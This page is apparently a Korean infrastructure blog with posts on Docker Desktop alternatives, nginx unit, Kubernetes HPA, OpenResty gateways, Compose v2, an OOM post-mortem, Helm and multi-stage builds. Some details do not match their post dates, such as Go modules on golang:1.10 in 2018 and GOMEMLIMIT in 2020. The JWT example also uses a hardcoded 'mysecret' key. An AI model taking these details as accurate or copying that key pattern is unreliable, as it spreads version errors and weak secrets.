레이블이 Infra인 게시물을 표시합니다. 모든 게시물 표시
레이블이 Infra인 게시물을 표시합니다. 모든 게시물 표시

20220709

Docker Desktop 유료 전환 이후 대안

작년 9월쯤 Docker Desktop 라이선스 정책 바뀐 이후로 사내 환경 정리 숙제가 있었는데 이번 분기에 정리. 개인 무료 / 소기업 무료, 중대형 유료라 우리는 유료 대상. 대안 한번 주욱 돌려봤다.

후보

  1. Rancher Desktop
  2. colima (macOS)
  3. podman + podman-compose
  4. Lima (barebone, 수동 세팅 필요)

macOS 팀 (개발 대다수)

colima가 가장 무난. Lima + docker cli + qemu/virtualization.framework. CLI 한 방 설치.

brew install colima docker docker-compose
colima start --cpu 4 --memory 8 --disk 60
docker ps  # 바로 됨

M1/M2에서 x86 이미지 빌드 시 --arch x86_64 주면 rosetta 통해 돌아감. 조금 느림.

Rancher Desktop도 써봤는데 GUI 있는 게 장점. k3s 같이 쓰는 사람은 이쪽. 다만 메모리 점유 더 크다.

리눅스 팀

원래부터 Docker Desktop 안 써서 변경 없음. podman 도입 여부만 별도 논의(root 없이 쓰는 게 장점).

Windows 팀

WSL2 + podman desktop 또는 WSL2 + docker engine 직접 설치. Rancher Desktop이 Windows에선 안정성 좋음.

걸렸던 이슈

  • colima에서 docker buildx bake 쓸 때 containerd 이미지 저장 이슈. docker runtime으로 바꿔서 해결(colima start --runtime docker).
  • docker-compose v2 플러그인 인식. 기본 brew 버전이 따로 놀아서 ~/.docker/cli-plugins 심볼릭 링크.
  • M1 쪽에서 MySQL 5.7 이미지가 arm 빌드 없어서 --platform linux/amd64 붙여야 함.

결론

Docker Desktop 굳이 유료로 갈 필요는 없다. 단 "설정 한 번 안 바꾸고 쓸 수 있는 편의성"에는 대가가 있다. 초기 세팅 1~2시간, 그 후엔 별 차이 없음. 사내 개발자 30명 × 라이선스 비용 생각하면 금방 이득.

20220407

nginx unit 써보기

nginx unit 1.26 써보고 기록. unit은 nginx inc에서 만든 "앱 서버"인데, Python/PHP/Node/Go 등 여러 런타임을 통합 관리 해주는 도구. 처음 봤을 때 "이게 뭐지" 싶었는데 써보니 꽤 흥미로움.

설치 후 config는 REST API로 푸시한다. 파일 편집 아님.

curl -X PUT --data-binary @config.json \
  --unix-socket /var/run/control.unit.sock \
  http://localhost/config/

config.json 예 (fastapi 앱).

{
  "listeners": {
    "*:8000": { "pass": "applications/api" }
  },
  "applications": {
    "api": {
      "type": "python 3.10",
      "path": "/srv/app",
      "module": "main",
      "callable": "app",
      "processes": { "max": 8, "spare": 2 }
    }
  }
}

장점 체감:

  • 런타임 교체 무중단. config 푸시하면 graceful reload. gunicorn 재시작 고민 안 해도 됨.
  • 프로세스 오토스케일. spare, max로 부하에 맞춰 워커 수 자동 조절.
  • 멀티앱을 한 인스턴스에 올리기 편함. 사내 툴용 소규모 서비스 세 개 하나로 합쳤다.

단점 및 주의:

  • 운영 도구(로그, 메트릭) 생태계가 nginx 본체보다 약함. access log 포맷이 JSON만.
  • 공식 helm chart가 아직 공식 지원은 아님. 직접 구성.
  • 문서 부족. Python+fastapi 조합은 잘 되지만 Node.js express 연동하다가 static file serving에서 약간 삽질.

결론 — gunicorn/uwsgi 대체 용도로는 꽤 괜찮다. 다만 넣어야 할 이유가 명확해야 함. 단순 단일 앱이면 기존 스택 유지가 낫다. 우리는 런타임 여러 개 섞인 사내 포털에 적용.

20210704

Kubernetes HPA custom metrics

배경

대부분 서비스는 CPU 기반 HPA로도 충분한데, 큐 컨슈머 성격의 서비스는 CPU 여유 있어도 큐 적체가 쌓일 수 있음. Redis stream 쌓인 길이 기준으로 확장하게 하려고 custom metrics 세팅.

스택

  • Kubernetes 1.20
  • prometheus-adapter로 external metrics 노출
  • Prometheus에 redis_exporter 메트릭 이미 수집 중

prometheus-adapter config

rules:
  external:
  - seriesQuery: 'redis_stream_length{job="redis-exporter"}'
    resources:
      template: "<<.Resource>>"
    name:
      matches: "^(.*)$"
      as: "stream_length"
    metricsQuery: 'sum(<<.Series>>{<<.LabelMatchers>>}) by (stream)'

HPA manifest

apiVersion: autoscaling/v2beta2
kind: HorizontalPodAutoscaler
metadata:
  name: order-worker
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: order-worker
  minReplicas: 2
  maxReplicas: 20
  metrics:
  - type: External
    external:
      metric:
        name: stream_length
        selector:
          matchLabels:
            stream: "orders"
      target:
        type: AverageValue
        averageValue: "50"

스트림에 50 이상 쌓이면 파드 하나씩 늘어감. 즉시성이 너무 강하면 flap 일어나니까 behavior.scaleDown.stabilizationWindowSeconds를 300으로 걸어둠. 2beta2부터 scaling behavior 지정 가능해서 이게 큼.

배운 점

  • 초반에 metric name 매핑이 꼬여서 HPA가 "unknown metric" 띄움. kubectl get --raw로 adapter endpoint 직접 쳐보는 게 제일 빠른 디버깅.
  • averageValue 단위 설명이 애매한데, pod 개수 나눈 평균. 즉 pod당 목표 수치.
  • 큐 기반 워커는 scale-up은 빠르게, scale-down은 천천히가 정답. 일 중간에 갑자기 절반 줄면 진행 중 작업 취소 이슈 생김.

다음 단계: VPA랑 같이 돌릴 수 있는지 실험. 메모리는 VPA, replicas는 HPA 조합이 좋을지.

20201122

nginx 1.18 + OpenResty 사용기

nginx 1.18에 OpenResty 얹어서 인증/리밋 로직을 Lua로 처리하는 게이트웨이 만들어봄. 전에는 express + 미들웨어로 했는데, 단순 체크만 하는 거면 openresty 쪽이 훨씬 빠르고 리소스도 덜 먹는다.

토큰 검증(JWT 간단 버전) 예제.

location /api/ {
    access_by_lua_block {
        local jwt = require "resty.jwt"
        local auth = ngx.var.http_authorization
        if not auth then
            ngx.exit(401)
        end
        local token = string.gsub(auth, "Bearer ", "")
        local verified = jwt:verify("mysecret", token)
        if not verified.verified then
            ngx.status = 401
            ngx.say(verified.reason)
            ngx.exit(401)
        end
        ngx.req.set_header("X-User-Id", verified.payload.sub)
    }
    proxy_pass http://backend;
}

레이트 리밋은 resty.limit.req + shared dict.

http {
    lua_shared_dict req_limit 10m;
}

location /api/ {
    access_by_lua_block {
        local limit = require("resty.limit.req").new("req_limit", 200, 100)
        local delay, err = limit:incoming(ngx.var.binary_remote_addr, true)
        if not delay then
            if err == "rejected" then
                ngx.exit(429)
            end
        end
    }
}

체감 성능. wrk -t4 -c200 기준, 같은 토큰 검증 로직을 node 미들웨어로 할 때 대비 openresty가 약 3.2배 throughput. 근데 복잡한 로직 lua로 짜는 게 유지보수적으로 힘들어서 "라우팅 + 인증 + 레이트리밋" 수준에서만 쓰는 게 답이라고 본다.

lua_shared_dict 크기 잘 잡아야 함. 넘치면 eviction 돌고 결국 정확도 떨어진다. 주요 도메인당 10~20m 추천.

20200825

Docker Compose v2 체감

Docker Compose v2 technical preview 들여다봄. Docker Desktop 2.3에 번들로 들어있음(Linux는 수동 플러그인). v1(Python)이 아니라 Go로 재작성한 거고, CLI도 docker compose ...(스페이스). v1이 docker-compose ...(하이픈). 3월에 alpha 한 번 만져봤는데 이번 preview에서 꽤 정돈.

기존 compose yml은 거의 그대로 돈다. 중요한 건 CLI 진입점 변화.

docker compose up -d
docker compose ps
docker compose logs -f api
docker compose exec api python manage.py shell
docker compose --profile worker up -d

체감 차이 — 정량

  • 시작 속도. docker-compose ps(v1) 298ms vs docker compose ps(v2) 58ms. 5배 차이. 파이썬 import 비용이 큼
  • 스택 up. 8개 서비스 구성 cold start 23s → 14s. 차이는 빌드 병렬화와 BuildKit 기본 덕
  • 오류 메시지. v1은 파이썬 traceback이 노출되어 "yaml 스키마 에러"가 호출 스택과 섞여 보였다. v2는 docker CLI 스타일(컴포넌트/단계 표시)
  • buildx 통합. 이미지 빌드 시 BuildKit이 기본. 멀티 아키텍처(amd64/arm64) 빌드도 docker compose build --platform=linux/amd64,linux/arm64로 가능

구조적 차이

Docker CLI 플러그인 아키텍처를 채택. ~/.docker/cli-plugins/docker-compose 단일 Go 바이너리가 docker CLI에 확장 명령어로 붙는 구조. 이 구조의 이점은 docker context(ECS/ACI/쿠버네티스 원격) 기반으로 compose를 원격 런타임에도 투사할 수 있다는 것. 로컬 개발용 compose.yml을 그대로 ECS에 올리는 실험적 시나리오가 가능.

v1의 docker-py 경유 Engine API 호출 방식은 Docker가 기능을 추가할 때마다 파이썬 바인딩이 뒤쳐지는 고질적 문제가 있었다. v2는 docker CLI와 동일한 gRPC/HTTP 클라이언트를 씀.

실용 기능 몇 개

1. profiles. v1 1.28에 먼저 들어왔고 v2에서 1급 시민. 개발/테스트/프로덕션 마다 일부 서비스만 켜는 운영.

services:
  api:
    image: myorg/api
  worker:
    image: myorg/worker
    profiles: ["worker"]
  mailhog:
    image: mailhog/mailhog
    profiles: ["dev"]
docker compose up -d                    # api만
docker compose --profile worker up -d   # api + worker
docker compose --profile dev up -d      # api + mailhog

2. --wait. healthcheck가 healthy 될 때까지 블록. CI에서 up 직후 통합 테스트 바로 때릴 수 있다.

docker compose up -d --wait
pytest -q tests/integration

3. env_file과 interpolation. 변수 확장 규칙이 더 정밀해짐. ${VAR:-default}(unset이면 default), ${VAR-default}(정의 안 됨이면 default) 구분이 엄격.

4. build.cache_from / cache_to. 레지스트리 기반 분산 빌드 캐시. CI 러너가 여러 대일 때 매 빌드 cold 시작 방지.

마이그레이션 시 걸린 것들

  • compose file version. v2는 version: "3.9" 필드를 사실상 무시. Compose Spec으로 통일 중이라 version을 적지 않아도 됨. 그러나 v1과 병행 운영 중이면 명시 유지
  • links. 이미 deprecated였는데 v2에서 확실히 noop화. 네트워크 경유 서비스 디스커버리가 기본이니 문제는 거의 없음
  • command의 signal handling. v2에서 stop_grace_period 대응이 엄격. 앱이 SIGTERM을 제대로 처리 안 하면 grace 뒤 SIGKILL로 강제 종료되는 타이밍이 v1보다 조금 더 정확. gunicorn/uvicorn 기동 스크립트에서 signal 처리 재확인
  • host-gateway. 컨테이너에서 호스트로 host.docker.internal 식 접근이 macOS/Windows는 기본, Linux는 extra_hosts: ["host.docker.internal:host-gateway"]로 명시 필요. v2는 이 트릭이 안정
  • Windows PATH. 업데이트 후 docker compose가 안 먹는 경우 Docker Desktop 재설치로 해결

관성 대응

손이 docker-compose ...를 계속 친다. shell alias로 처리.

# ~/.zshrc
alias dc="docker compose"
alias dcu="docker compose up -d"
alias dcl="docker compose logs -f"

운영 결정

  1. 로컬 개발: v2 전면 전환. 기동 속도, 오류 메시지 개선 체감
  2. CI: v2로 전환하되 기존 스크립트에서 docker-composedocker compose로 바꾸고, 스택 up 시 --wait 활용
  3. 프로덕션 쪽은 원래 compose를 직접 안 쓰기 때문에 영향 없음(K8s + Helm)

v1은 내년쯤 deprecated 예상. 지금부터 전환해 두는 게 낫다. 호환성은 거의 문제없고, 성능과 UX 이득이 분명.

20200322

Kubernetes prod 장애 회고 — OOM

지난주 목요일 오전 9시 30분, prod 클러스터 중 하나에서 결제 관련 파드들이 줄줄이 죽기 시작했다. OOMKilled. 30분간 결제 실패율이 치솟았고, 우리는 그 30분 동안 장님이었다.

회고 정리.

무슨 일이 있었나

한 서비스가 점점 메모리를 먹다가 limit(1Gi) 찍고 죽음. 재시작. 다시 먹음. 죽음. 이게 10분마다 반복. 처음엔 로드 스파이크 때문인 줄 알았는데 트래픽은 오히려 평소보다 낮았다.

원인

어제 배포한 PR에 있던 캐시 로직. 요청별 temp 데이터를 모듈 레벨 dict에 쌓는데, 만료 로직이 잘못돼서 삭제 안 되고 계속 쌓임. 배포 직후엔 쌓이는 속도가 느려서 테스트 환경에서 안 걸림. 12시간 쯤 지나니 1Gi 넘음.

코드 대략 이런 모양이었다.

_cache = {}

def get_or_set(key, fn, ttl=60):
    now = time.time()
    if key in _cache:
        val, exp = _cache[key]
        if exp > now:
            return val
    val = fn()
    _cache[key] = (val, now + ttl)  # 만료된 key는 영원히 안 지워짐
    return val

TTL 체크만 있고 eviction이 없다. key가 매 요청마다 유니크(request id가 섞여있었음)했기 때문에 증가만 함. 아 이건 진짜 허무한 버그.

왜 바로 못 잡았나

1) 메모리 알람 임계치가 85%인데 pod은 limit에 닿으면 그냥 kill. 알람이 울릴 시간이 없음.

2) prometheus 수집 주기 30초라 짧은 라이프사이클 pod의 메모리 그래프가 "어? 막 생겼다 사라지네" 수준으로만 보임.

3) 로그에 OOMKilled 로그 이벤트 집계 대시보드가 없었음. kubectl describe pod으로 일일이 봐야 알 수 있었다.

고친 것

  • 해당 캐시 로직을 cachetools TTLCache로 교체 (내부에 eviction 있음)
  • kube_pod_container_status_last_terminated_reason="OOMKilled" 메트릭을 alertmanager에 등록
  • 메모리 limit의 80% 닿으면 pre-alert (scrape 주기도 15초로)
  • 모든 서비스에 GOMEMLIMIT 혹은 resource 기반 인메모리 캐시 상한 명시 규칙 추가

개인적 교훈

"모듈 레벨 dict에 뭐 쌓는 순간 이게 무한 성장 가능한지 자문해라." 작년 이맘때도 비슷한 거 한 번 냈었다. 같은 실수 반복. 그래서 이번엔 린트 룰로라도 박을까 고민 중. 아니면 최소한 코드리뷰 체크리스트에 넣든가.

OOM은 보이지 않는 버그라 무섭다. 부하 테스트만으로는 못 잡고 시간이 지나야 드러난다.

20190903

Kubernetes 1.16 custom controller

1.16 알파/베타 올라오면서 CRD v1 승격 얘기가 나오는 중. 사내에 운영 반복되는 패턴(예: 환경별 secret rotation, 특정 ConfigMap 자동 동기화) 몇 개를 custom controller로 빼는 작업.

kubebuilder 2.0 써서 세팅.

kubebuilder init --domain example.com
kubebuilder create api --group ops --version v1alpha1 --kind SecretSync

Reconcile 함수 구조는 결국 이거다.

func (r *SecretSyncReconciler) Reconcile(req ctrl.Request) (ctrl.Result, error) {
    ctx := context.Background()
    var sync opsv1.SecretSync
    if err := r.Get(ctx, req.NamespacedName, &sync); err != nil {
        return ctrl.Result{}, client.IgnoreNotFound(err)
    }
    // 현재 상태 측정
    // 목표 상태와 diff
    // 적용
    return ctrl.Result{RequeueAfter: 30 * time.Second}, nil
}

배운 점 두 개.

1) controller는 idempotent해야 한다. 같은 입력이 100번 와도 같은 결과. 절대 increment 같은 로직 넣지 말 것.

2) 에러 리턴하면 exponential backoff로 재시도된다. 재시도 원하는 거면 error, 아니면 RequeueAfter. 이거 헷갈리면 무한 재시도 또는 무반응.

CRD v1 정식은 1.16 GA에서. v1beta1은 deprecation 예정인데 우리처럼 지금 만들면 v1beta1로 생성해놓고 나중에 변환 웹훅으로 옮겨야 함. 귀찮.

20190422

GitLab CI 파이프라인 리팩터

gitlab-ci 11.x 파이프라인 오래 방치했다가 전면 정리. 원래 build → test → deploy 직렬 3단계였는데 뭐가 뭔지도 모르는 스크립트 덩어리였음.

정리 원칙 세 개만.

1. job은 한 가지만 한다. build-and-test 이런 거 금지. 실패 원인 추적 안 됨.

2. 공통은 .template 숨김 job으로. extends로 끌어오기. 이게 생각보다 강력.

.docker-base:
  image: docker:stable
  services:
    - docker:dind
  before_script:
    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY

build:
  extends: .docker-base
  stage: build
  script:
    - docker build -t $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA .
    - docker push $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA

3. cache는 branch 기준, artifacts는 job 간 전달용. 섞어 쓰면 꼬인다. pip 캐시는 cache, 빌드 산출물은 artifacts.

cache:
  key: ${CI_COMMIT_REF_SLUG}
  paths:
    - .cache/pip/

needs: 키워드가 이번 버전에 들어오면서 DAG 순서로 병렬 돌리는 게 가능해졌다. 기존 3단계가 약 9분 걸렸는데 병렬로 재배치 후 4분 30초. 생각보다 크다.

rules: 아직 only/except 기반으로 남김. rules가 12에 들어온다고 해서 그때 다시 정리 예정.

20180726

Kubernetes Helm chart 작성 팁

Helm 2.9 + K8s 1.10 클러스터 기준. 팀에서 차트 3개 관리하다 보니 패턴이 보여서 공유 메모. tiller 이슈까지 겸해서 정리.

1. values 기본값은 values.yaml에 주석으로. 주석 없으면 그 값이 뭘 의미하는지 아무도 모른다. README 써도 읽지 않는다. 사용자가 가장 먼저 여는 파일인 values.yaml 자체를 문서로 본다는 관점으로.

# -- 이미지 레지스트리 정보
image:
  repository: registry.local/app
  # -- 빈 문자열이면 Chart.AppVersion 사용. 배포 파이프라인에서 override 권장
  tag: ""
  pullPolicy: IfNotPresent

# -- 레플리카 수. HPA 쓰면 initial로만 의미
replicaCount: 2

# -- JVM/파이썬 등 런타임 힙 설정은 resources.limits.memory 기준으로 80% 잡기
resources:
  limits: { cpu: 500m, memory: 512Mi }
  requests: { cpu: 100m, memory: 256Mi }

2. _helpers.tpl에 라벨 정의. helm create가 뱉는 기본 템플릿을 그대로 쓰지 말고 직접 유지. 중요한 건 selector 라벨과 metadata 라벨의 분리. selector는 변경하면 기존 Deployment의 pod selector가 mismatch 나서 업그레이드가 깨진다. chart, version 같은 자주 변하는 값은 meta 라벨에만.

{{/* Selector — 절대 바꾸면 안 됨 */}}
{{- define "app.selectorLabels" -}}
app.kubernetes.io/name: {{ include "app.name" . }}
app.kubernetes.io/instance: {{ .Release.Name }}
{{- end }}

{{/* Metadata — 정보용. 바뀌어도 롤아웃 안 깨짐 */}}
{{- define "app.labels" -}}
{{ include "app.selectorLabels" . }}
app.kubernetes.io/version: {{ .Chart.AppVersion | quote }}
app.kubernetes.io/managed-by: {{ .Release.Service }}
helm.sh/chart: {{ .Chart.Name }}-{{ .Chart.Version | replace "+" "_" }}
{{- end }}

Deployment의 spec.selector.matchLabels에는 selectorLabels만. metadata.labels와 template.metadata.labels엔 labels 전체. 이 두 줄 차이를 무시하고 합쳐 썼다가 다음 마이너 bump에서 "selector is immutable" 에러 만나 배포 막히는 케이스 흔함.

3. ConfigMap 변경 시 Pod 자동 재시작. 알아두기 전까진 "왜 설정 바꿨는데 반영이 안 되지" 하면서 pod delete 수동으로 하다가 사고 치기 쉽다. 해시를 파드 템플릿 어노테이션에 박아 두면 ConfigMap 변경 → 템플릿 해시 변경 → Deployment rolling update 자동 트리거.

# Deployment spec.template.metadata.annotations
annotations:
  checksum/config: {{ include (print $.Template.BasePath "/configmap.yaml") . | sha256sum }}
  checksum/secret: {{ include (print $.Template.BasePath "/secret.yaml") . | sha256sum }}

원리: Pod 템플릿의 PodTemplateSpec 해시가 바뀌면 controller-manager의 deployment_controller가 신규 ReplicaSet을 생성하고 기존 것을 점진 축소(rolling update). configmap/secret 자체는 mount된 pod에 eventually 반영되지만 프로세스가 재시작되지 않으면 환경변수나 초기 로드만 쓰는 앱은 감지 못함. 이 해시 트릭이 rolling update를 강제하는 관용구.

4. 의존성 차트 관리. requirements.yaml로 redis/postgres subchart를 묶어 쓰는 경우, alias와 condition 적극 활용.

# requirements.yaml
dependencies:
  - name: postgresql
    version: 3.10.0
    repository: https://kubernetes-charts.storage.googleapis.com
    condition: postgresql.enabled
    alias: db

condition으로 외부 RDS를 쓸지 in-cluster PG를 쓸지 스위치. alias로 여러 벌 띄우기도 가능. 스테이징만 in-cluster, 프로덕션은 condition=false.

5. hook 순서 이해. pre-install, post-install, pre-upgrade, post-upgrade 훅과 helm.sh/hook-weight 조합. DB 마이그레이션 Job은 pre-upgrade로 두고, 차트가 실패하면 helm.sh/hook-delete-policy: before-hook-creation로 재시도 가능하게. 레시피가 몇 개 있다.

  • DB 마이그 Job: pre-upgrade, weight -5
  • 인덱스 생성 Job: post-upgrade, weight 0
  • 스모크 테스트 Job: post-upgrade, weight 10 (hook-succeeded면 삭제)

6. --force는 죄악. helm upgrade --force가 자주 필요하다면 차트 설계 오류다. immutable selector를 바꾸는 게 가장 흔한 원인. --force는 배포된 리소스를 kubectl replace 하는 거라 PVC 바인딩이나 외부 LB 엔드포인트가 뜯어질 수 있다.

7. 값 검증. Helm 2에는 values 스키마 기능이 아직 없다. 대신 required "x is required" .Values.foo나 필요하면 _helpers.tpl에 fail 헬퍼 써서 차트 렌더 단계에서 실패시킨다. Helm 3에는 JSON Schema 기반 validation이 들어온다는 루머라 기대 중.

tiller 고민

Helm 2의 가장 큰 통증. tiller가 클러스터 전역에 cluster-admin 권한으로 떠서 RBAC 정책이 엉성하면 보안상 문제. namespace 단위 tiller로 제한하거나 helm template | kubectl apply로 tiller를 우회하는 운영이 늘고 있다. Helm 3에서 tiller가 빠진다는 로드맵이 나와 있어서 2.10/2.11까지만 2.x 유지하고 3.0 RC 시점에 전환 계획.

운영 팁. helm history, helm rollback 자주 쓰게 되는데 기본적으로 deployment revision과 helm revision이 다름을 기억. kubectl rollout undo는 deployment 레벨 이전 ReplicaSet으로 돌리는 거고, helm rollback은 차트의 이전 릴리스로 돌리는 거. 둘이 엇갈리면 헷갈린다. 쉬운 규칙: "helm으로 올렸으면 helm으로 되돌리기".

RBAC 매번 뜯어고치는 게 지겨워서 chart-testing(ct) + 사내용 기본 RBAC 템플릿을 _helpers.tpl로 만들어 두는 중. 신규 차트 만들 때 이 기반에서 파생.

20180315

Docker multi-stage build 노트

Docker 17.05 이후부터 multi-stage build를 쓸 수 있고, 18.03이 최근 stable로 올라오면서 빌드 캐시 관리까지 꽤 안정됐다. 예전엔 builder 전용 이미지를 따로 만들어서 docker cp로 산출물만 빼는 Makefile 짜야 했는데 이제 Dockerfile 한 장으로 끝난다. CI 설정도 반으로 줄었다.

개념부터. FROM ... AS stage_name으로 여러 stage를 선언하고, COPY --from=stage_name으로 이전 stage 산출물만 복사. 최종 이미지는 마지막 FROM 이후 내용만 남는다. 이전 stage는 캐시에 남아 있지만 배포되는 건 마지막만.

Go 서비스 예시.

FROM golang:1.10-alpine AS deps
WORKDIR /src
COPY go.mod go.sum ./
RUN go mod download

FROM deps AS build
COPY . .
ARG VERSION=dev
RUN CGO_ENABLED=0 GOOS=linux \
    go build -ldflags "-s -w -X main.version=${VERSION}" \
    -o /out/app ./cmd/app

FROM build AS test
RUN go vet ./... && go test ./...

FROM alpine:3.7
RUN apk add --no-cache ca-certificates tzdata
COPY --from=build /out/app /app
USER 65534
ENTRYPOINT ["/app"]

이미지 크기가 golang:1.10(780MB) → 최종 18MB로 줄었다. 빌드 환경(컴파일러, go modules 캐시, 테스트 도구)이 최종 이미지에 들어가지 않는 게 핵심. CGO_ENABLED=0으로 정적 바이너리 뽑아 alpine에서도 ldd 안 걸림. ldflags -s -w는 심볼 테이블/DWARF 제거로 수 MB 더 다이어트.

stage 이름 반드시 주는 이유. CI에서 docker build --target test .로 테스트 단계만 실행 가능. 예를 들어 PR 빌드는 test까지만, merge 빌드는 최종 stage까지. 한 Dockerfile로 라이프사이클 전체를 커버한다.

Python 예시 (Django/FastAPI 서비스). wheel 빌드 분리가 크다.

FROM python:3.6-slim AS build
RUN apt-get update && apt-get install -y --no-install-recommends \
    gcc libpq-dev libffi-dev \
    && rm -rf /var/lib/apt/lists/*
WORKDIR /build
COPY requirements.txt .
RUN pip wheel --wheel-dir /wheels -r requirements.txt

FROM python:3.6-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
    libpq5 \
    && rm -rf /var/lib/apt/lists/*
COPY --from=build /wheels /wheels
RUN pip install --no-index --find-links=/wheels /wheels/*.whl \
    && rm -rf /wheels
COPY . /app
WORKDIR /app
CMD ["gunicorn", "wsgi:application", "-w", "4", "-b", "0.0.0.0:8000"]

빌드용 이미지엔 gcc, libffi-dev, libpq-dev가 있고 wheel 컴파일만 수행. 런타임 이미지는 slim에 runtime lib만. psycopg2-binary 말고 psycopg2를 직접 컴파일해도 되는 식. 최종 이미지 약 120MB, 기존 빌드 툴체인 포함 400MB에서 3배 감소.

캐시 전략. requirements.txt → pip wheel을 앞단에 두면 코드만 변경된 커밋은 dependency stage 캐시 히트. 잘 나눠 놓으면 CI 반복 빌드가 2분 → 30초 수준까지 줄어든다. 다만 docker build는 기본적으로 단일 머신 로컬 캐시만 쓰기 때문에 GitLab CI runner가 분산이면 --cache-from으로 레지스트리에서 이전 이미지를 당겨와 재사용. 18.03부터 --cache-from이 multi-stage 전체 stage까지 인식한다(이전 버전은 최종 stage만).

함정 몇 개.

  • COPY --from=<stage> <src> <dst>에서 src는 stage의 WORKDIR 기준 상대경로. WORKDIR 안 박아두면 루트 기준. 헷갈려서 한번 잘못 copy하고 파일이 없다고 몇 분 삽질
  • alpine의 musl과 glibc 차이. Go는 대부분 문제 없는데, 일부 C 확장 포함 파이썬 라이브러리(grpcio, numpy)는 alpine manylinux wheel이 없어서 소스 컴파일로 빠진다. 이 경우 slim debian이 속 편함
  • 최종 stage에 USER 안 박으면 root 실행. nonroot uid(65534 nobody 등)로 내려야 K8s PodSecurityPolicy 통과
  • --squash 플래그는 experimental이라 프로덕션에선 multi-stage로 대체하는 게 정석. 레이어 머지로 줄일 필요가 없어짐

사이드 효과로 좋은 건 보안 표면 축소. gcc, apt, pip, git이 최종 이미지에 없으면 컨테이너 탈취돼도 공격자가 쓸 도구가 적다. CVE 스캔(Clair, Trivy)에서 점수도 확 좋아진다. 우리 registry에 Trivy 붙여뒀는데 HIGH 취약점 개수가 이미지당 평균 40 → 8로.

남은 숙제: BuildKit(DOCKER_BUILDKIT=1) 실험. 병렬 stage 빌드, 비밀정보 마운트(--mount=type=secret) 같은 기능이 있는데 18.06부터 기본 탑재 예정이라 조금 더 기다려 볼 생각.

20180209

Nginx HTTP/2 + Brotli 적용

nginx 1.13.9 mainline 빌드해서 HTTP/2 + Brotli 올린 기록. 패키지 버전(1.10 stable) 안 쓰고 소스 빌드로 간 이유: brotli 모듈은 아직 서드파티고, openssl도 1.1.0으로 올려야 TLS 1.3 draft 테스트가 가능하니까.

환경은 Ubuntu 16.04. 패키지 openssl은 1.0.2라 소스에서 1.1.0h로 함께 빌드. ngx_brotli는 구글 공식 레포(github.com/google/ngx_brotli)에서 pull.

./configure \
  --prefix=/etc/nginx \
  --sbin-path=/usr/sbin/nginx \
  --with-http_v2_module \
  --with-http_ssl_module \
  --with-http_realip_module \
  --with-http_stub_status_module \
  --with-file-aio \
  --with-threads \
  --add-module=../ngx_brotli \
  --with-openssl=../openssl-1.1.0h \
  --with-openssl-opt="enable-tls1_3"
make -j4 && sudo make install

nginx.conf 주요 블록.

listen 443 ssl http2;
listen [::]:443 ssl http2;

ssl_protocols TLSv1.2;  # 1.3은 아직 draft라 내부 스테이징만
ssl_ciphers  "EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH";
ssl_prefer_server_ciphers on;
ssl_session_cache   shared:SSL:50m;
ssl_session_timeout 1d;
ssl_stapling on;
ssl_stapling_verify on;

# HTTP/2 기본 튜닝
http2_max_concurrent_streams 128;
http2_idle_timeout           3m;
http2_recv_timeout           30s;

# Brotli
brotli            on;
brotli_comp_level 5;
brotli_min_length 1024;
brotli_types
    text/plain text/css text/xml
    application/json application/javascript
    application/xml application/xml+rss
    image/svg+xml;

gzip on;   # br 미지원 클라(구형 사파리 등)용 fallback
gzip_comp_level 5;
gzip_types text/plain text/css application/json application/javascript application/xml;

왜 HTTP/2. 멀티플렉싱으로 한 TCP 커넥션에서 여러 요청을 병렬. 1.1의 head-of-line blocking을 스트림 단위로 분리. 모바일에선 연결 수 제약(iOS 4개 정도) 때문에 이 효과가 크다. 헤더 압축(HPACK)도 의외로 쏠쏠해서 헤더 많은 API 응답에선 체감됨. 단 TLS가 사실상 필수(h2c는 브라우저가 거부).

Brotli가 gzip보다 왜 나은지. 정적 사전(120KB)에 웹에서 자주 나오는 HTML/CSS/JS 토큰이 들어있어서 같은 비트레이트로 더 잘 찍어냄. 텍스트 자원(HTML, JSON, JS, CSS)에서 gzip 대비 추가 10~20% 감축. 대신 11단계까지 있는데 높은 레벨은 CPU가 오프라인 압축용이라 on-the-fly에선 금지. 5~6 근처가 gzip 6이랑 CPU/압축률 트레이드오프 스윗스팟.

실측. 메인 페이지 응답 본문(HTML+인라인 JSON) 기준.

  • 비압축 187KB
  • gzip 6: 43.2KB
  • brotli 5: 35.7KB (gzip 대비 17% 감소)
  • brotli 11 (offline): 31.9KB — 참고용

정적 JS 번들은 더 크게 벌어짐. main.bundle.js 512KB → gzip 142KB → brotli 118KB. 모바일 4G(실측 10Mbps 정도)에서 콜드 로드 체감은 200~400ms 짧아진다. 에어플레인모드 토글해서 cold start 5회 반복 평균으로 재봄.

함정 몇 개.

1. brotli_comp_level 11은 절대 금지. CPU 60% 꽃히고 TTFB 오히려 튐. 오프라인 precompress(brotli_static on)로 빌드 때 .br 파일 만들어 두는 방법이 있으니 정적 자원은 그쪽이 맞다.

2. HTTP/2 + keepalive 조합에서 특정 환경(iOS 11 초기 버전 기억) NAT timeout으로 좀비 커넥션이 쌓이는 이슈가 있었다. http2_idle_timeout 3m로 내리고 keepalive_timeout 65 유지하니 안정.

3. openssl 1.1.0 빌드 후 ldd /usr/sbin/nginx로 libssl 링킹 확인 필수. 시스템 libssl.so랑 섞이면 TLS 협상 에러가 랜덤하게 튄다. --with-ld-opt="-Wl,-rpath,/usr/local/openssl-1.1.0h/lib" 같이 rpath 박아서 해결.

4. ALPN 협상 실패로 h2가 h1.1로 떨어지는 경우 대부분 openssl 버전 문제. 1.0.2 이하에선 ALPN이 없거나 NPN으로 폴백되고 크롬 51부터는 NPN 완전히 뺐음. 1.0.2 이상 필수.

모니터링은 stub_status + access log에 $server_protocol, $ssl_protocol, $ssl_cipher, $http2 찍어서 grafana에 붙였다. h2 비율, brotli 히트율 대시보드로 본다. 이번 주 트래픽 기준 h2 92%, brotli 74%, gzip 20%, no-compress 6%. br이 상대적으로 낮은 건 브라우저가 Accept-Encoding에 br 넣는 조건이 HTTPS + 특정 버전 이상이라 그런 듯.

20170821

Kubernetes Ingress 도입기

지난번 k8s 이관 이후 쌓여있던 숙제. ingress를 제대로 도입함. 그동안은 서비스마다 type: LoadBalancer 로 띄워서 비용이 새고 있었음.

